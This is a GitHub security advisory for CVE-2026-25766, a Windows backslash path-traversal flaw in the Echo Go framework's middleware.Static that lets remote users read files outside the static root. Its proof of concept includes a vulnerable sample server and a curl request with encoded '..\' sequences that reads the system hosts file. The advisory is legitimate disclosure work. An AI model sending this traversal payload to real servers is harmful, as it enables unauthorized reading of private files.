GitHub Advisoryadvisory · Go
GHSA-pgvm-wxw2-hrv9 Echo has a Windows path traversal via backslash in middleware.Static default filesystem
MEDIUM
Official page ↗
- Aliases
- CVE-2026-25766
- Ecosystem
- Go
- Packages
- github.com/labstack/echo/v5
- Severity
- Moderate
- CVSS vector
- CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
- Weaknesses
- CWE-22
- Reviewed
- 2026-02-17
Affected packages
• Go github.com/labstack/echo/v5: >= 5.0.0, < 5.0.3 → fixed in 5.0.3
Description
Summary
On Windows, Echo’s `middleware.Static` using the default filesystem allows path traversal via backslashes, enabling
unauthenticated remote file read outside the static root.
Details
In `middleware/static.go`, the requested path is unescaped and normalized with `path.Clean` (URL semantics).
`path.Clean` does not treat `\` as a path separator, so `..\` sequences remain in the cleaned path. The resulting
path is then passed to `currentFS.Open(...)`. When the filesystem is left at the default (nil), Echo uses `defaultFS`
which calls `os.Open` (`echo.go:792`). On Windows, `os.Open` treats `\` as a path separator and resolves `..\`,
allowing traversal outside the static root.
Relevant code:
• `middleware/static.go` (path unescape + `path.Clean` + `currentFS.Open`)
• `echo.go` `defaultFS.Open` → `os.Open`
This is the same class as CVE-2020-36565 (fixed in v4 by switching to OS-aware cleaning), but in v5 the `path.Clean`
+ defaultFS combination reintroduces the Windows backslash traversal.
PoC
Windows only.
Sample code (main.go):
```go
package main
import (
"log"
"net/http"
"github.com/labstack/echo/v5"
"github.com/labstack/echo/v5/middleware"
)
func main() {
e := echo.New()
// Important: use middleware.Static with default filesystem (nil)
e.Use(middleware.Static("public"))
e.GET("/healthz", func(c *echo.Context) error {
return c.String(http.StatusOK, "ok")
})
addr := ":1323"
log.Printf("listening on %s", addr)
if err := e.Start(addr); err != nil && err != http.ErrServerClosed {
log.Fatal(err)
}
}
```
Static file:
public/index.html
(content can be any HTML)
Run:
go run .
Verify:
curl http://localhost:1323/index.html
curl --path-as-is "http://localhost:1323/..%5c..%5cWindows%5cSystem32%5cdrivers%5cetc%5chosts"
Expected: 404
Screenshot:
### Impact
Path traversal leading to arbitrary file read outside the static root. Any unauthenticated remote user can
read local files that the Echo process has access to on Windows, if `middleware.Static` is used with the default
filesystem.
Related
Alias · CVE (1)
- CVE-2026-25766 Echo is a Go web framework. vulnerability
Weakness · CWE (1)
- CWE-22 Improper Limitation of a Pathname to a Restricted Directory weakness
References
- https://github.com/labstack/echo/security/advisories/GHSA-pgvm-wxw2-hrv9 web
- https://nvd.nist.gov/vuln/detail/CVE-2026-25766 advisory
- https://github.com/labstack/echo/pull/2891 web
- https://github.com/labstack/echo/commit/b1d443086ea27cf51345ec72a71e9b7e9d9ce5f1 web
- https://github.com/labstack/echo package
- https://pkg.go.dev/vuln/GO-2026-4502 web